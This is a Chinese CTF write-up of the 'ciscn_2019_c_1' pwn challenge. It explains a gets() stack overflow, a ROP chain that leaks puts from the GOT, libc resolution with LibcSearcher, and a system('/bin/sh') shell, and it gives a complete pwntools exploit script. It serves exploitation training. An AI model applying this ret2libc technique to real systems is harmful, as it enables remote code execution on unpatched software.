ciscn_2019_c_1

0x00 前言

  • 借助这道题目记录一下LibcSearcher的使用,当然这道题目用DynELF也可以。

0x01 分析

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

  • 程序流程比较简单,在encrypt函数里由于使用的是gets(s),存在栈溢出。但是程序会对我们输入的字符串s进行一系列异或操作。

  • 这里需要注意这个(unsigned int)x

  • 再看到下面的++x;,然后也可以推测出x的初始值为0。

  • 这也就是说,只有当我们输入的字符串的长度大于x的值的时候,才会执行这一系列异或操作。

  • 所以如果我们输入两次长度相等的字符串,那么只会对第一次输入的字符串进行异或。

  • 由于程序没有后门函数,我们需要自己泄露libc了。

0x02泄露libc

  • 我们可以通过用puts函数打印出puts_got的内容,从而通过LibcSearcher得到libc,进而得到libcbasesystem/bin/sh

  • 由于异或运算是可逆的,我们首先写出来一个encrypt函数(实际上叫decrypt更合适),但是似乎不对payload进行encrypt也可以….

1
2
3
4
5
6
7
8
9
10
def encrypt(payload):
l = list(payload)
for i in range(len(l)):
if l[i].isdigit():
l[i] = chr(ord(l[i])^0xF)
elif l[i].isupper():
l[i] = chr(ord(l[i])^0xE)
elif l[i].islower():
l[i] = chr(ord(l[i])^0xD)
return ''.join(l)

  • 简单构造一下payload用以输出puts_got的内容。
1
2
3
4
5
6
7
8
elf = ELF('./ciscn_2019_c_1')
main_addr = 0x400B28
pop_rdi = 0x400C83

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

payload = '1'*0x58 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
  • 获取libcbase、system、binsh
1
2
3
4
5
6
7
8
9
c.recvuntil('Ciphertext\n')
c.recvuntil('\n')
puts_addr = u64(c.recvuntil('\n', drop=True).ljust(8,'\x00'))
log.success('puts_addr = ' + hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
libcbase = puts_addr - libc.dump('puts')
log.success('libcbase = ' + hex(libcbase))
sys_addr = libcbase + libc.dump('system')
bin_sh = libcbase + libc.dump('str_bin_sh')

0x03 getshell

  • 这里需要注意一点

由于Ubuntu18运行机制与前面版本的不同,在调用system的时候需要进行栈对齐

  • 我们可以使用ret进行栈对齐。
1
2
3
4
5
6
ret = 0x4006b9

payload = '1'*0x58+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
payload_Ubuntu18 = '1'*0x58+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
c.sendline(payload_Ubuntu18)
c.interactive()

0x04 完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
from LibcSearcher import *
#c = process('./ciscn_2019_c_1')
c = remote('node3.buuoj.cn',28201)
elf = ELF('./ciscn_2019_c_1')

main_addr = 0x400B28
pop_rdi = 0x400C83

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

def encrypt(payload):
l = list(payload)
for i in range(len(l)):
if l[i].isdigit():
l[i] = chr(ord(l[i])^0xF)
elif l[i].isupper():
l[i] = chr(ord(l[i])^0xE)
elif l[i].islower():
l[i] = chr(ord(l[i])^0xD)
return ''.join(l)

c.recv()
c.sendline('1')
c.recvuntil('encrypted\n')
payload = '1'*0x58 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
payload = encrypt(payload)
c.sendline(payload)

c.recvuntil('Ciphertext\n')
c.recvuntil('\n')
puts_addr = u64(c.recvuntil('\n', drop=True).ljust(8,'\x00'))
log.success('puts_addr = ' + hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
libcbase = puts_addr - libc.dump('puts')
log.success('libcbase = ' + hex(libcbase))

c.recv()
c.sendline('1')
c.recvuntil('encrypted\n')
sys_addr = libcbase + libc.dump('system')
bin_sh = libcbase + libc.dump('str_bin_sh')


payload = '1'*0x58+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
ret = 0x4006b9
payload_Ubuntu18 = '1'*0x58+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
c.sendline(payload_Ubuntu18)
c.interactive()

0x05 参考链接

传送门

传送门